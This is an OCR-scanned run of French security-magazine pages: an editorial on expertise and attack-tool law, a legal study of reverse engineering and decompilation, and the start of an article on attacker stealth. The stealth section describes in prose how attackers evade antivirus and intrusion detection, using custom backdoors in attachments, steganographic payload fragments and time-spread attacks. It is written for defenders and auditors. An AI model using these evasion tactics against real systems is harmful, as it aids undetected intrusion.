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0 De la relativité de l'expertise

Il y a quelques jours, aprés une dure journée de labeur, je profitais du beau temps
estival pour rentrer chez moi en utilisant le bus. En cette saison, ils ne sont pas
trop chargeés, ce qui évite toute promiscuité désagréable tout en laissant le temps de
révasser en contemplant les merveilles architecturales de notre capitale ... avant de
réaliser que certain(e)s sont 4 la mer, 4 la montagne, a la campagne, bref, bien loin de
ces considérations citadines et laborieuses.

Pour une raison qui m'échappe totalement, je me surpris a penser (enfin, ce n'est pas le fait
de penser qui m'a surpris - quoique - mais plutdt le sujet) a la relativité des choses,

Nos amis cryptographes I'ont bien compris, eux. Malheureusement, il n'en est pas de méme chez nous, les
informaticiens. Bux s'appuient sur des definitions précises, des outils maitrisés, comme les théories de la complexité ou de 'information,
qui permettent de déterminer les forces et les faiblesses des algorithmes. Toutefois, les cryptographes oublient parfois les problemes
de sécurite liés au passage du monde "papier” au monde "numérique”, mais cela est une autre histoire.

En sécurité informatique, la plupart des personnes se soucient d'appliquer des rustines, ou de suivre les conseils (politiques) prodigué(e)s
par le plus grand monde, en se disant qu'un maximum de rigueur et de précautions suffira |1]. Si ¢a marche chez les autres, ¢a marchera
chez moi et ma sécurité sera garantie pour les siécles a venir ... jusqu'a la prochaine faille que je patcherai | Bien sar, la sécurité est
une histoire de confiance. Cependant, tout le monde s'accorde pour dire que la place de cette confiance doit étre minimale,

Ce modele a montre et montrera encore ses limites. Par exemple, deux articles de ce méme numéro que vous venez d'emprunter a
votre petite soeur vont a I'encontre d'idées regues.

Concernant chroot, je ne connais pas un "expert” qui n'en vante pas les mérites, en recommandant de mettre chaque démon dans un
chroot. En méme temps, il a plus ou moins conscience de la fragilité relative de cette prison. Certains savent qu'il n'est pas bon étre
root dans un chroof ... mais sans savoir pourquoi précisément. Et pourtant ! 8'il avait pris le temps de plonger dans les dessous de cet
appel systéme, il se serait-bien vite rendu compte que cette prison €était construite en verre, root ou pas root. Quant au safe mode de
PHP, il est censé apporter la quiétude a tout administrateur de serveur Web en évitant que les scripts de ses administrés ne débordent
sur son systéme ... Un peu d'astuce, d'espiéglerie et c'en est fini du safe mode.

Je vous rassure tout de suite, 1l y a des parades. Mais je voulais insister : faire comme son voisin n'est pas suffisant. Si lui aussi fait
de méme, de proche en proche, le cercle de ceux qui savent réellement se réduit de plus en plus. C'est la qu'on se rend compte que
l'expertise (la vraie, pas celle vendue par les gens du marketing) est nécessaire.

Toutefois, le modele de sécurite dit « du voisin » présente I'avantage indéniable d'éviter de tomber dans [a ¢rainte permanente de voir
une nouvelle faille surgir ... et puis si ¢a arrive, je ne seral pas le seul a devoir trouver une solution, Rassurant,.

En fait, voila le probléme ! De nouvelles failles apparaissent quotidiennement et rester toujours « & la pointe » demande beaucoup
(frop) de ressources. Heureusement, une solution juridique va venir résoudre ce probléme économico-technico-scientifique 2] :

Article 34
L - Apres l'article 323-3 du code pénal, il est inséré un article 323-3-1 ainsi rédigé :

« Art. 323-3-1. - Le fait, sans motif légitime, d'importer, de détenir, d'offrir, de céder ou de mettre a disposition un équipement, un instrument, un
programme informatique ou toute donnée congus ou spécialement adaptes pour commettre une ou plusieurs des infractions prévues par les articles
323-14323-3 est puni des peines prévues respectivement pour I'infraction elle-méme ou pour l'infraction la plus sévérement réprimée. »

Cet extrait du « projet de loi pour la confiance dans I'économie numérique » résout tout ! Si vous faites de la s¢curit¢ informatigue,
ne regardez que l'aspect défensif car il est bien connu que personne au monde ne regarde 'aspect offensif. Et si vous faites du défensif,
il est bien connu qu'un firewall et un anti-virus suffisent 2 vous protéger de toutes les attaques connues et inconnues.

Je me demande pourquoi je m'inquicte alors ...

Pour terminer, rendons a Georges ce qui appartient a Georges. L'expression « prison de verte » concernant chroot est tirée de I'oeuvre
de Georges Tarbouriech, dont vous avez pu lire la prose, entre autres, dans ces pages. Je profite de ces derniéres lignes pour lui tirer
mon chapeau parce que lui tire sa révérence : merci pour tout ce que tu m'as appris.

Frédéric Raynal

[1] Il existe des méthodes formelles pour obtenir de la « sécurité prouvée », (cf. Critéres Communs), mais cela est tellement contraignant
et cher que ...

i [2] http://www.senat.fr/dossierleg/pjl02-195.htm]
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DROIT

Le reverse engineering
coule-t-il de source ?

« Décompiler oui, mais dans quel but » [I], « Ingénierie inverse, ingénierie
T perverse ? » [2], « Le droit de décompilation des logiciels : une aubaine pour les
cloneurs ? » [3] autant d'articles de doctrine pour exprimer une certaine inquiétude

face au reverse engineering. Son régime juridique ne fait pas ’'unanimité : une partie de la
doctrine prone son illicéité de principe, autre partie en fait un droit a part entiére. Les tribunaux
ont pris la voie de Uinterprétation stricte du droit de décompilation : sans doute la voie de I'équilibre.
Mais fallait-il aboutir a Uéquilibre ? Le reverse engineering ne semble pas couler de source !

Le debat autour des sources d'un logiciel est ne avec I'¢laboration
de la directive communautaire adoptée le 14 mai 1991. La
transposition en France est intervenue le 10 mai 1994,

Les joutes s'animent essentiellement autour deux idéologies :

B certains considérent que, dans un souci de droit a
l'information, de libre accés aux évolutions techniques et de
stimulant favorisant la concurrence au détriment des
monopoles, l'auteur d'un logiciel (qui prend souvent la forme
d'une société) doit avoir une obligation de remise des sources
aux clients/utilisateurs ;

B d'autres consideérent que, dans un souci de préserver les
grands principes de la propriété littéraire et artistique
(personnaliste et humaniste), le code source (substantifique
moelle du logiciel) constitue un domaine privé animé par une
idée de monopole propre aux auteurs (tendant vers la culture
du secret).

Sans étre I'avocat de 'une ou l'autre partie et entrer dans un débat
dogmatique autiste, 1l est entendu que la remise des sources n’est
qu'un moyen de faciliter I'utilisation du logiciel, dans la limite
des droits cédés ; elle ne vaut renonciation a aucune des
prérogatives de ["auteur. Cela signifie que le seul fait d'acquérir
un logiciel ne donne pas a l'utilisateur le droit d'en disposer
librement. C'est pourquoi. aprés de vifs débats, un régime
particulier inséré dans les dispositions propres au droit d'auteur
a ¢été mis en place.

S'1l est deux méthodes pour obtenir les sources d’un logiciel,
directement du propriétaire du logiciel ou par ses propres moyens,
laquelle est licite ? L'auteur qui souhaite fournir les sources de
son logiciel spontanément peut le faire contractuellement sans
difficulté. En revanche, la seconde hypothese s'impose
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difficilement au regard des dispositions légales. Si ['utilisateur
dispose d'un droit d'analyse du code source, la decompilation est
limitée au seul objectif d'interopérabilité. Le régime juridique du
reverse engineering est lourd et peu souple. La flexibilité lice
aux évolutions techniques n'a pas déteint sur la sphére 1égale.

LE REGIME JURIDIQUE
DU REVERSE ENGINEERING

S1 nombre d'auteurs pensent qu'en realité la question du reverse
engineering est étrangere au droit d'auteur, c'est bien en cette
matiere que l'on trouve les dispositions de I'article L.122-6-1
CPI |4| qui transpose de fagon quasi littérale les articles 5 et 6
de la directive européenne du 14 mai 1991 [5], en énumerant
dans une liste exhaustive les actes que le client/T"utilisateur du
logiciel ayant acquis ce droit, c¢'est-a-dire ayant obtenu
réguliérement le droit d’exploitation du logiciel, peut accomplir
sans |’autorisation de ["auteur.

LES DROITS DE L'UTILISATEUR DU LOGICIEL

Les trois premiers paragraphes (1, II, 1IT) retranscrivent les
dispositions de I"article 5 de la directive européenne, tandis que
le quatrieme paragraphe (IV) retranscrit les dispositions innovantes
de I'article 6 de la directive, relatif a la décompilation. Le
cinquiéme et dernier paragraphe (V) précise, comme pour €luder
toute ambiguité, que le texte ne saurait étre interprété de maniere
a porter atteinte a I’exploitation normale du logiciel ou a causer
un préjudice injustifié aux intéréts Iégitimes de I'auteur.




_es droits reconnus a |'utilisateur d’un logiciel, qui intéressent
e reverse engineering, sont au nombre de trois :

W Le droit de reproduire ou medifier le logiciel. La
modification doit permettre la correction des etreurs
¢ventuelles. Cette prérogative devient particuliérement
importante quand on sait que le but du reverse engineering
est souvent de modifier le logiciel original. Toutefois, |'auteur
pourra se réserver par contrat le droit de corriger les erreurs,
tout comme il demeure propriétaire de « la traduction,
ladaptation, I'arrangement ou foute autre modification d 'un
logiciel et la reproduction du logiciel en résultant » (article
L.122-6 2° CPI). 1l s’agit du seul droit offert a |’ utilisateur
pour lequel I’auteur pourra conserver par contrat ses droits.
Le reverse engineering semble amputé d’une grande partie de
sa finalité et peut-étre méme de son but le plus nécessaire.

B e droit d’observer, ¢tudier ou tester le fonctionnement du
logiciel afin de déterminer les idées et principes qui sont a la
base de n’importe lequel de ses éléments. Ce droit s"impose
de lui-méme puisque les idées et les principes, ne sont pas
protégeables au titre du droit d’auteur {interprétation a contrario
de I"article L.112-2) ; il est dit que les idées sont de libre
parcours. Rien n’empéche ["utilisateur de s’inspirer d'un logiciel
sans pour autant le copier. Cette disposition peut aussi autoriser
l'utilisateur de maniere implicite a remonter jusqu'aux sources
mtellectuelles du logiciel. Cependant, il est rare que la notion
d'« implicite » gouverne la propriété littéraire et artistique.

B Le droit de proceder a la décompilation d'un logiciel. Ce
droit est soumis a un certain nombre de conditions. La
décompilation est souvent considérée comme pouvant étre a
I"origine d’un piratage du logiciel ; c'est cette crainte qui a
animé le Parlement Européen puis notre Parlement. Toutefois,
elle apparait indispensable pour permettre 1'interopérabilité
des logiciels en les mettant en connexion pour les faire
fonctionner ensemble. L'article L.122-6-1 encadre trés
précisément le droit a la décompilation. Ces dispositions, qui
sont la transcription littérale de 'article 6 de la directive, sont
le fruit d une longue négociation au niveau communautaire
et reflétent un compromis apparent entre les professionnels
intéressés. La décompilation n’est autorisée que si elle est
« indispensable powr obtenir les informations nécessaires a
Uinteropérabilité d'un logiciel créé de facon indépendante
avec d autres logiciels (...) ». L’objectif recherche, selon les
dispositions de la directive européenne « est de permettre
linterconnexion de tous les éléments d'un systeme
informatique, v compris ceux de fabricants différents, afin
g 'ils puissent fonctionner ensemble. »

ES CONDITIONS DE LA DECOMPILATION

.a décompilation autorisée est soumise a trois conditions
umulatives :

¥ ¢lle ne peut étre accomplie que par une personne ayant le
droit d’utiliser le logiciel ;

B les mformations nécessaires a |'interopérabilité ne doivent
pas avoit été rendues facilement et rapidement accessibles a
cette personne |

B clle doit étre limitée aux parties du programme d’origine
nécessaires a I'interoperabilité.

Malheureusement, cette demniére condition affaiblit dangereusement
ce droit durement négocié. Les mformaticiens savent que pour
décompiler un logiciel, sauf cas exceptionnel ou si les indications
ont éte donnees par 'auteur. ou s'il s'agit d'une grosse application
multi-fonctions, il faut décompiler dans son intégralité pour
comprendre seulement ensuite quels sont les éléments nécessaires
4 l'interopérabilité. Tous les programmeurs l'affirmeront : le
rétablissement d'un code source en langage C, outre qu'il est
alcatoire, est une opération qui ne peut étre que globale. Comment
respecter cette condition ? La directive et la loi francaise de
transposition du 10 mai 1991 ont ainsi fortement restreint la faculte
de décompiler un logiciel. Il est nécessaire de tout décompiler pour
savolr ce que 'on peut décompiler et que cela est interdit !

L'utilisation de la décompilation est, en plus. soumise a trois
restrictions :

I.elle ne peut avoir d’autre fin que la réalisation de
I'interopérabilité du logiciel créé de facon indépendante ;
2.elle ne peut faire I’objet d’une communication a des tiers,
sauf si celle-ci est nécessaire a |'interopérabilité ;

3.elle ne doit pas aboutir a la mise au point, la production ou
la commercialisation d’un logiciel dont |I'expression est
substantiellement similaire.

11 est a noter que cette derniére disposition qui permet de réprimer
la contrefagon du logiciel décompilé n’interdit pas la mise au
pomnt d’un programme fonctionnellement concurrent pour autant
que son expression ne soit pas substantiellement similaire. Mais
comment savoir si le logiciel concurrent est fondamentalement
similaire : en utilisant les méthodes de reverse engineering !

On peut se demander pourquoi les droits des utilisateurs sont
scindés en deux familles : 'analyse (Le droit d’observer. étudier
ou tester le fonctionnement du logiciel) et la décompilation. Au
premier abord. la démarche intellectuelle est valable. En effet,
elle procéde de l'idée que l'analyse est destinée a adapter le logiciel
aux besoins licites de l'utilisateur et éventucllement a corriger
les erreurs alors que la décompilation peut conduire plus
facilement & une contrefagon. Au second abord, une difficulté
fait de cette démarche une simple théorie. Dans la majorité des
cas, pour pouvoir analyser il faut décompiler. Cela signifierait
que le point d'entrée de 'exercice du droit d'analyse est la
décompilation. L'utilisation faite de la décompilation permettra
done de qualifier 'analyse de licite ou illicite.

Le droit de décompilation s'inscrit dans une logique
concurrentielle et non dans la logique monopolistique du droit
d'auteur. Les exceptions au droit de décompiler sont sans aucun
doute fondées sur une reéférence a la concurrence délovale. Grice
a cette situation monopolistique, la protection du logiciel parait
s'appuyer plus sur I'hermeétisme du cede-objet que sur une
protection purement juridique pour étre efficace.

Toutefois, le reverse engineering qui semble s'imposer comme
un véritable droit (il ne s'agit pas d'une simple tolérance) ne
dispose que d'un champ d'application extrémement restreint.
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Cas pratiques :

Utiliser le reverse engineering pour ...

_.J ... linteropérabilité d'un environnement logiciel :

Linteropérabilité est le cas d'école qui coule de source.
Comme nous l'avons vu, linferopérabilité est sans doute
la seule exception aux droits exclusifs de 'auteur du
logiciel dont le contenu pardit non équivogue. L'exception
est largement encadrée d tel point qu'elle semble prendre
I'allure d'une coquille vide. Il n'‘est possible d'user de ce
droit gue sur la partie du code nécessagire a
linteropérabilité (nous l'avons vu | comment savoir ce que
nous avons le droit de décompiler si I'on ne décompile
pas en globalite 7).

En ce sens, l'ensemble de ce droit de décompilation pour
interopérabilité est clairement fondé sur une logigue
concurrentielle. Il est précisé sans ambiguite dans la
directive gue si un fournisseur occupant une position
dominante refuse de metire a disposition l'information
nécessaire pour linteroperabilite il tombe sous le coup |
des régles de concurrence (abus de position dominante). |

La jurisprudence s'en est mélée. D'aprés décision de la
cour d'appel de Paris en date du 12 decembre 1297, il
n'y a pas confrefacon du logiciel lorsque les
ressemblances sont purement fonctionnelfes et que
| fingénienie inverse prafiquée par le défendeur est justifiee
par la recherche de linteropérabilité avec un modéle
de disquette.

.. I'inspiration :

Y

L'étude d'un programme peut révéler des idées et des
principes, sans pour autant que ces dermniers puissent éfre
appropriés comme le logiciel lui-méme. En effet, les idées
et les principes {fout comme les algorithmes, les concepts |
et les langages de programmation) ne sont pas
protégeables au fitre du droit d'auteur ; il est dit que les
idées sont de libre parcours. Rien n'empéche, donc,
l'utilisateur de s'inspirer d'un logiciel sans pour autant le
copier ; d'autant que sinspirer d'une fonctionnalité d'un
logiciel n'est a aucun moment un acte de contrefagon.
En revanche, si le logiciel inspiré présente une frop grande
similitude avec le logiciel d'origine, I'auteur inspiré
risquerait de tomber sous le coup de la contrefagon ou
| de la concurrence déloyale par confusion. Si, dans l'esprit,
il est possible de s'inspirer d'un logiciel existant, encore |
| faut-il qu'il puisse avoir acces a ce source ; ce gui devient |
| moins évident gquand il existe une mesure technique de
protection du logiciel.

» .. contourner une mesure fechnigue de protection
des logiciels :

Larticle L.122-6-2 CPI est censé regler cetfie hypothese. |l '

dispose en effet que « foufe publicite ou nofice d'utilisation
relative aux moyens permeifant la suppression ou fa
neulralisation de tout disposifif lechnigue protégeant un
logiciel doit mentionner que ['ufilisaiion ilficite de ces
moyens est passible des sanctions prévues en cas de
confrefacon. » Cette rédaction aux apparences claires

pas que cette ufilisation est illicite, soient reprimees. La
paraphrase n'explique pas tout ; elle éclaire. On pourrait
penser que ce n'est pas I'acte de contournement de la
mesure technigue qui est illicite mais la seule diffusion d'un
moyen de contoumer cefte mesure sans prévenir I'ufilisateur
que ce moyen est illicite. La jurisprudence en a decide
autrement. La directive Droit d'auteur et droits voisins dans
la société de linformation (DADVSI) du 22 mai 2001 doit étre
transposeée sur le point de la protection des mesures
| techniques de protection des oeuvres en droit interne
francais ; d'aprés les deux avani-projets de fransposition
[71, ces mesures ne seront pas fransposées pour les oeuvres
| logicielles. Pour une étude plus compléte sur les mesures
technigues de protection des oeuvres, le lecleur se reportera
a nofre article paru dans MISC 7, pages 14 a 17.

Une difficulté ressurgit : si 'utilisateur a acquis legalement
un logiciel et qu'il use de son droif de decompilation dans
un but dinteropérabilité et que le logiciel est protégé par
une mesure technique, perd-t-il son droit ? Il ne sagit pas
Ia d'un cas d'ecole,

Contourner une mesure technique de protection est illicite
et est assimilé a un acte de conirefagon. La loi a-t-elle offert
| @ l'auteur le pouvoir de jouer avec les exceptions legales ?
L'auteur ne peut déroger a ce droit par contrat mais aurait-
| il le droit de le faire par lintermédiaire d'un algorithme, code
| d'acces... ? Le factuel serait donc plus important que le
contractuel | la réponse ne peut étre que negative.

La derniére affaire en date en la matiere provient du fribunal
| de grande instance de Lille, le 17 septembre 2002 : la
création de deux utilitaires obtenus par decompilation d'un
logiciel permettant de jouer au tarot en ligne est un acte
de contrefacon dans la mesure ou les logiciels de friche ne
fonctionnent que par fraduction et la présentation en clair
de données qui figurent dans le logiciel protégé. La
decompilation est jugée plus flagrante encore puisqu’un
fichier exécutable du programme d'origine est modifie
pendant les parties du jeu.

suscite quelgues interrogations. Il semble gue seules la |
publicité et la mise & disposition de nofice permettant la |
suppression d'un dispositif fechnigue, si elles ne précisent |
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Le reverse engineering coule-t-il de source ?

- ... la mainfenance du logiciel :

| le client/lutilisateur peut-il, sans
lautorisation de l'auteur du logiciel,
modifier au titre de la maintenance le
logiciel legalernent acquis ?

l'acces aux sources d'un logiciel est
indispensable pour en assurer la
maintenance, voire le débogage. Il est
donc normal que les ufilisaieurs de
programmes informatiques cherchent @
I'obtenir. Mais les fournisseurs de logiciels
n'y consentent pas facilement car la
détention des sources est trop souvent
assimilée d la proptriété du programme.
La compilation présente pour les
développeurs et les
programmes |'‘avantage certain de
« crypter » le logiciel de telle maniere que
son contenu soit  prafiguement
inaccessible a la plupart des utilisateurs.
Leurs droits sont préserves de fait. En
conséquence, |'utilisateur depourvu des
sources est prive de tout moyen de

maintenir le programme ou de le faire |

maintenir par un autre que le fournisseur
détenteur des sources.

Dans le meilleur des cas, un logiciel a

editeurs de |

besoin d'évoluer ; dans le pire des cas, il |

faut le réeparer. Malheureusement, c'est
contractuellement qu'il sera possible de
proceder d la maintenance du logiciel.

Il existe quelques litiges qui ont donne lieu
a des décisions pluidt facheuses, Selon
la décision du tribunal de commerce de
Paris du 4 octobre 2001, est mal fondée
I'action pour faute a l'encontfre d'un

editeur de logiciel, au motif que celui-ci |

refuse de fournir les codes sources et les
outils de developpement de progiciels
dont il abandeonne la commercialisation,
des lors qu'aucune obligation légale ou
contractuelle ne Iui impose de fournir ces
eléments. L'éditeur de logiciel est tout
puissant s'il souhaite abandonner la
commercialisation de son logiciel.
L'utilisateur qui a acquis les droits
d'exploitation non exclusifs par le biais
dune licence ne pourra légalement
accéder qQux sources gue pour un
impératif d'inferopérabilite,

User de cette pratique qui consiste a extraire d'un produit logiciel des
connaissances techniques afin de le comprendre, I'améliorer, l'adapter ou le
corriger n'est pas donne a tout le monde : quoti de plus compliqué que d'intégrer
'agencement d'un code source (bibliotheques, variables...). S'il n'est pas possible
d'obliger un auteur de logiciel a fournir I'ensemble de la documentation
permettant de comprendre un code source, ['utilisateur expert pourra analyser
et décompiler pour motif d'interopérabilité le code-objet dont il dispose. Par
un raisonnement tout a fait pratique, comment l'auteur d'un logiciel pourra-t-
il prouver que le code-source a ét¢ copié aprés décompilation a moins d'avoir
lui-méme utilisé cette méthode ?

Devant le juge, I'auteur du logiciel original devra fournir le code source afin
que le tribunal puisse. par l'intermédiaire d'un expert, en examiner les
ressemblances avec le nouveau code source : le secret que 'auteur originaire
aura voulu sauvegarder sera bafoué. Ne vaut-il pas mieux un mauvais accord
qu'un bon procés 7

L’enjeu se déplacant, I"interopérabilité des logiciels libres avec les logiciels
propriétaires va étre génée par cette législation, méme si contrairement a certaines
idées recues, la décompilation justifiée par un impératif d’interopérabilité ne
pourra étre interdite par voie contractuelle. Une licence logicielle ne pourra
comporter la clause interdisant le reverse engineering utilisé pour favoriser une
interopérabilité avec certains formats propriétaires de fichiers (par exemple).
L article L.122-6-1 in fine, en son dernier alinéa dispose, en effet, que toute
stipulation contraire (...) est nulle et non avenue. Cette disposition existe aussi
au sein de la directive europeenne du 14 mai 1991 [6].

Malgré cela, la jurisprudence ne cesse de verrouiller les droits des auteurs qui
se trouvent de plus en plus investis en pleine possession de leurs droits.
L'utilisateur est de plus en plus marginalise. La propriété littéraire et artistique
considére de moins en moins l'utilisateur.

Le reverse engineering qui semblait s’imposer comme une problématique peu
classique se trouve simplifié pour faire resurgir le droit exclusif des auteurs
qui prennent tres souvent, en la matiére, I"allure d’une personne morale.
Toutefois, le droit d'auteur constitue-t-il la protection adéquate ?

Matthieu CHABAUD

Doctorant en droit
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Techniques d'atfaque
I'art du cyber-camoufiage

Discrétion, furtivité, dissimulation, comment un aftaquant peut-il s'‘éclipser ?

Technique guerriere par excellence, le camouflage, et plus généralement l'art de la

&) dissimulation, s'applique également aux délits informatiques et autres actes de
7 cyber-malveillance.

S'introduire sans autorisation dans
un systeme de traitement
automatise de données, le
détourner ou s'en servir pour
sortir des flots de données, sont
des actes délictueux et réprimes
au penal, par les articles 323-1 a
323-3, enfre autres, a moins d'étre
couverts, par exemple par un
contrat d'audit qui encadre
l'action.

Motivé par son attaque et
connaissant les risques, un
attaquant cherche a se fondre dans
le paysage digital. Le responsable
de la sécurité informatique, de
méme que l'auditeur, se doivent
de connaitre les techniques de
dissimulation pour mettre en
ceuvre les  contre-mesures
efficaces, tester les protections et
vérifier la sensibilité de
déclenchement des alarmes
associees.

EN THEORIE

LES GRANDES REGLES DU CAMOUFLAGE

L'art de la dissimulation consiste en deux
grandes familles de techniques :

M cacher : l'action n'existe pas pour le
systéme de défense parce gu'elle ne peut
pas étre détectée. Les dispositifs de sécurité
ne sont pas équipes des mécanismes de
détection ou ceux en place ne sont pas
sensibles (non ou mal configurés) pour
déclencher une alarme. Une saturation du
dispositif le rendant indisponible, les
attaques qui utilisent ce type de diversion,
relévent de cette catégorie

H normaliser 'apparence : l'action existe
et peut étre reconnue, mais ses apparences
sont autant que possible, normalisées par
rapport au contexte. Aussi, les dispositifs

de sécurité ne pourront pas la différencier
du "bruit de fond" normal parce qu'ils ne
sont pas assez sensibles (mal adaptés, mal
dimensionnés ou mal configurés).

Dans les deux cas, I'agresseur cherche a
rendre furtifs les composants opérationnels
(ce qui permet de réaliser l'opération) de
l'attaque ; la tactique et les "appareils".

SUBTILITE DE LA TACTIQUE

Pour rappel, la tactique se définie comme la
maniére d'agencer les moyens pour conduire
une opération a son résultat (normalement la
cible). Aussi, il y a 1a autant une notion de
"logistique" (il faut que les bons outils soient
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disponibles au bon endroit et au bon moment), que de capacité
opérationnelle (ces outils doivent étre utilisables dans la mesure
des possibilités), et d'intelligence pour exploiter les opportunités
de la situation.

Dans le but de gagner en discrétion, un attaguant normalement
constitué pense sa tactique avant d'agir. Cela signifie qu'il
s'organise plus ou moins méthodiquement et méticuleusement
pour étre efficace. Mais, il ne faut pas tout de suite s'imaginer
une belle attaque en régle comme ¢a ! En effet, selon sa
motivation et son expérience, le comportement de 'attaquant
pourra étre autant brouillon et erratique qu'il pourra donner des
apparences de professionnalisme plus que surprenantes. Dans
les faits, tous les éléments que le délinquant pourra laisser sur
son passage, permettront de profiler dans une certaine mesure,
autant sa technicité (son niveau) que sa "personnalité" (ses
caractéristiques comportementales).

Sachant cela, un attaquant averti et soucieux de sa discrétion,
agit principalement sur les trois composants (renseignements,
logistique et capacité) ainsi que sur l'organisation méme de
l'attaque (principalement l'ordonnancement des opérations) pour
étre le plus furtif possible.

En concret, ¢a signifie que les précautions portent autant sur la
collecte d'information (ou info gathering), que sur le rapatriement
et Iimplantation des outils non disponibles.

Avec un soupgon d'expérience, l'attaquant va rendre discréte
chacune de ces opérations, ne serait-ce qu'en variant seulement,
d'une part les techniques. et d'autre part les chemins quand il le
peut. Sinon, & moins d'une impossibilité physique particuliére
(par exemple un serveur sur un réseau correctement cloisonné),
il s'organise pour le pouvoir, par exemple en multipliant les
sources, voire les étapes d'attaque (principe de stepping stones)

APPAREILS FURTIFS

Par "appareil”, il faut entendre non seulement les outils, mais
aussi les techniques permettant d'exploiter les faiblesses du
systéme cible et de leurrer les dispositifs (filtres, ids, loggers,
systémes de contréle d'intégrité, etc.) pouvant se trouver dans
le contexte, voire sur le systéme cible lui-méme.

Les outils comme les techniques, c'est-a-dire les appareils au
sens large, sont reconnaissables a leur "signature".

Celle-ci est souvent utilisée dans les dispositifs de protection
ou de surveillance pour reconnaitre une attaque. Aussi,
I'implémentation de la signature et de sa reconnaissance varie
en fonction du mécanisme d'identification.

S'il peut s'agir du checksum d'un shellcode générique ou connu,
du caleul rc2 du code d'un virus ou d'un exploit connu, il peut
s'agir également de I'empreinte neurale d'une technique d'attaque,
reconnue par un systéme a réseau de neurones d'analyse
comportementale.

Sachant cela, notre attaquant dispose tout de méme d'un
grand faisceau de moyens pour :

= concevoir et fabriquer des appareils qui ne seront pas
détectés par les dispositifs dans le contexte ou sur le
systéme cible. Par exemple, il est relativement simple de
coder une backdoor qui exploite une vulnérabilité locale
Windows (et il y'en a quelques unes) puis de l'envoyer par
mail 4 un utilisateur victime d'une piéce attachée.

La probabilité est assez faible pour que l'antivirus sur le poste
de travail (déja s'il y en a un, s'il est actif, s'il est bien
configuré, si ...) détecte le code malveillant. Méme s'il est &
jour ! La plupart des antivirus d'aujourd'hui fonctionnent sur
un principe de rapidité de traitement et d'efficacité. Pour cela,
ils sont composés d'une base de signatures et d'un moteur
optimisé pour la rapidité de traitement (analyse de code,
calcul de signature, comparaison avec celles stockées dans
la base de signature) et déja moins pour les analyses
heuristiques et comportementales, beaucoup plus gourmandes
en ressources qu'un simple traitement a base de
"comparaison”.

Notre code fabriqué spécialement pour I'occasion a peu de
chance de voir sa signature déja présente dans la base (Ceci
dit, un attaquant averti prendra quand méme la précaution de
verifier). Il n'y a donc pas beaucoup de risque de se faire repérer
de ce cote-1a.

En revanche. l'exercice de camouflage est plus subtil des lors
qu'il s'agit de jouer avec la sonde comportementale. Celle-
ci est davantage @ méme de réagir aux caractéristiques d'un
algorithme d'exploitation de vulnérabilité ou par rapport a
une vulnérabilité particuliére. Cependant, la faille de ce type
de systeme est de ne fonctionner en général que par rapport
a la transmission d'une séquence de code pratiquement
monobloc, ou dont les fragments (voir les modules ...) sont
faiblement espacés dans le temps. Aussi, une attaque peut
étre "désequencée” ou étalée dans le temps pour empécher
les heuristiques de corréler.

De par leur conception et les choix d'implémentation, les
systemes comportementaux tentent pour la plupart de
modéliser I'attaque et d'y reconnaiitre une signature. Aussi,
ce type d'outils de lutte contre les codes malveillants se repose
aussi au final sur le modéle & base de signature ; c'est le cas
de certains antivirus mais aussi de sondes de détection
d'intrusion.

De fait, un code multi-threadé et distribué en mémoire ne
sera, pour ainsi dire, pas détectable. Ce type de code aura pu
étre fragmenté et envoy€ 4 la victime par morceaux dissimulés
via des procédés stéganographiques dans des images (rien
de trés compliqué en soi...), le "réassemblage" se faisant
localement, juste par l'appel au bon endroit (en général, une
piéce attachée et exécutée a les droits d'écriture de l'utilisateur
dans le répertoire temp...). Les techniques ne manquent pas.
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EN THEORIE

,Dos;

Le probléme étant toujours de faire exéeuter une action a
la victime, l'attaquant I'habitue et la met en confiance avec
des images, pour l'achever avec un banal exécutable...

Dans la préparation de son forfait, 'attaquant a bien
évidemment envisagé d'étre furtif aussi sur toute la chaine
de liaison le reliant & sa victime : le binaire pourrait étre
identifié par une sonde de détection d'intrusion se trouvant
quelque part sur le chemin.

= utiliser des techniques "normales” d'accés. La
caractéristique de ces techniques est de s'appuyer sur des
credentials existantes pour accéder de la facon la plus
naturelle qu'il soit au systéme cible. [l s'agit ensuite
d'exploiter l'acces sans se faire repérer. De cette position,
l'attaquant peut escalader en privilege jusqu'a exploiter tous
les modes d'exécution du processeur et donc exceuter
n'importe quel code avec les droits qu'il veut.

Ca, c'était pour la partie fun. Pour la partie profit, une attaque
motivée porte en général sur un systeme informatique plus
ou moins sensible, par rapport au systéme d'information
qu'il dessert. Aussi, l'individu malveillant n'a pas
néeessairement besoin d'utiliser des codes particuliérement
élaborés mais plutét des scripts de type SOL injection. En
effet, agissant sur des applications et des environnements
transactionnels. 1l va plutot scripter des requétes d'extraction,
de consolidation ou d'injection de données.

Ce dernier point implique alors la manipulation du
processus informatif (et plus seulement informatique ...)
de l'organisation (cf. article Organisations systémiques,
MISC n°8) pour éviter de se faire repérer.

A ce niveaui, la subtilité de la tactique est impérative pour
rester dissimulé : les techniques de camouflage ne sont plus
seulement techniques, mais également organisationnelles.

Cette dissimulation adresse le plus souvent les contréles
croisés d'opérations comme les différentes actions de
révisions (par exemple comptable) qu'il peut y avoir. Mais
il s'agit 1a alors de fraude caractérisée (fiscale, financiére,
terroriste ou autres vilains trafics pénalement réprimes)
dont les caractéristiques dépassent quelque peu le cadre de
cet article.

Quel que soit le cas, l'art de la dissimulation consiste, soit
a ne pas exister pour les dispositifs de protection et de
surveillance, soit a paraitre le plus normal du monde. Le
principe de base est somme toute assez simple : en
informatique, la plupart des actions impliquent des procédés
interactifs (action/acquittement ou réaction) synchronises,
éventuellement en temps différé, Le "jeu" de l'attaquant
est de manipuler ces interactions avec dextérite.

Pour les praticiens militaires et les pro de la tactique, ceci
n'est pas nouveau et ils peuvent reconnaitre 1a le portage
d'une discipline martiale, vieille comme le monde animal,
au monde technologique de I'information.

A L'ATTAQUE !l

Comme nous l'avons vu dans la premiére
partie théorique, la subtilité de la tactique a
son importance. Si une tactique peut étre de faire diversion
(par exemple noyer l'attaque réelle dans un flot de fausse
alerte), une autre peut étre de rendre les plus discrets
possible :

B la phase de renseignement : collecte d'informations,
détection et identification des systémes cibles, etc.

M les opérations logistiques : amener le "matériel” 1a ot
il faut en ayant pris soin de sécuriser le "transport”, les
opérations de nettoyage et de camouflage sur la machine
compromise, d'exfiltration, etc.

H la mise en place des capacités et I'exploitation : ce
peut étre la compilation des outils sur place, mais aussi les
actions de controle et de surveillance (qui surveille qui 7).
comme l'utilisation des outils locaux, préparés ou amencs,
et de techniques pour aller plus loin dans 'opération.

ARRIVER DISCRETEMENT

La partie "reconnaigsance”, pendant laquelle I'attaquant doit
agir avec discrétion, concerne la récupération des informations
